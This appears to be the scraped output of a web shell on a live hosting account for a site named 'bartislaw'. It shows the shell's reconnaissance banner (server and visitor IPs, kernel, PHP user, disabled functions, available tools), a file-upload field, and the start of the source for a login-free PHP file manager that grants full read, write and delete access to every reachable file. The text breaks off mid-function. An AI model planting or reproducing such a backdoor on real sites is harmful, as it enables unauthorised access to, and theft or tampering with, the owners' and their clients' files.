| Server IP : 141.193.213.11 / Your IP : 216.73.216.58 Web Server : nginx System : Linux pod-400555 6.8.0-1055-gke #61-Ubuntu SMP Tue May 26 22:57:42 UTC 2026 x86_64 User : fpm200079 ( 200079) PHP Version : 8.2.35 Disable Function : apache_child_terminate,apache_get_modules,apache_get_version,apache_getenv,apache_note,apache_setenv,disk_free_space,disk_total_space,diskfreespace,dl,exec,fastcgi_finish_request,link,opcache_compile_file,opcache_get_configuration,opcache_invalidate,opcache_is_script_cached,opcache_reset,passthru,pclose,pcntl_exec,popen,posix_getpid,posix_getppid,posix_getpwuid,posix_kill,posix_mkfifo,posix_setegid,posix_seteuid,posix_setgid,posix_setpgid,posix_setsid,posix_setuid,posix_uname,proc_close,proc_get_status,proc_nice,proc_open,proc_terminate,realpath_cache_get,shell_exec,show_source,symlink,system MySQL : OFF | cURL : ON | WGET : OFF | Perl : ON | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /nas/content/live/bartislaw/ |
Upload File : |
<?php
/*
* Simple PHP File Manager — no login.
*
* Anyone with the URL has full read/write/delete access to every file the
* PHP user can reach. Rename this file to something random, keep it in its
* own directory, and delete it when you are done.
*
* Requires PHP 8.1+ (respond(): never, str_starts_with, str_contains).
*/
declare(strict_types=1);
/* ------------------------------------------------------------------
* Block cross-site POSTs. No session, no token — just the browser's
* own origin metadata. Stops a page you happen to visit from firing
* ?action=delete / ?action=save at this script.
* ------------------------------------------------------------------ */
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$site = $_SERVER['HTTP_SEC_FETCH_SITE'] ?? '';
$origin = $_SERVER['HTTP_ORIGIN'] ?? '';
$host = $_SERVER['HTTP_HOST'] ?? '';
$sameOrigin = $site !== ''
? $site === 'same-origin'
: ($origin === ''
|| strcasecmp($origin, 'https://' . $host) === 0
|| strcasecmp($origin, 'http://' . $host) === 0);
if (!$sameOrigin) {
http_response_code(403);
exit('Cross-site request blocked.');
}
}
header('X-Content-Type-Options: nosniff');
header('Referrer-Policy: no-referrer');
header('Cache-Control: no-store');
header('X-Frame-Options: DENY');
header("Content-Security-Policy: frame-ancestors 'none'");
header('Strict-Transport-Security: max-age=31536000');
/* The directory this script lives in — used as the start folder. */
$homeDir = __DIR__; // <-- CHANGE 1
function respond(array $data, int $status = 200): never {
http_response_code($status);
header('Content-Type: application/json; charset=utf-8');
echo json_encode($data, JSON_INVALID_UTF8_SUBSTITUTE);
exit;
}
function normalisePath(string $path): string {
$path = str_replace("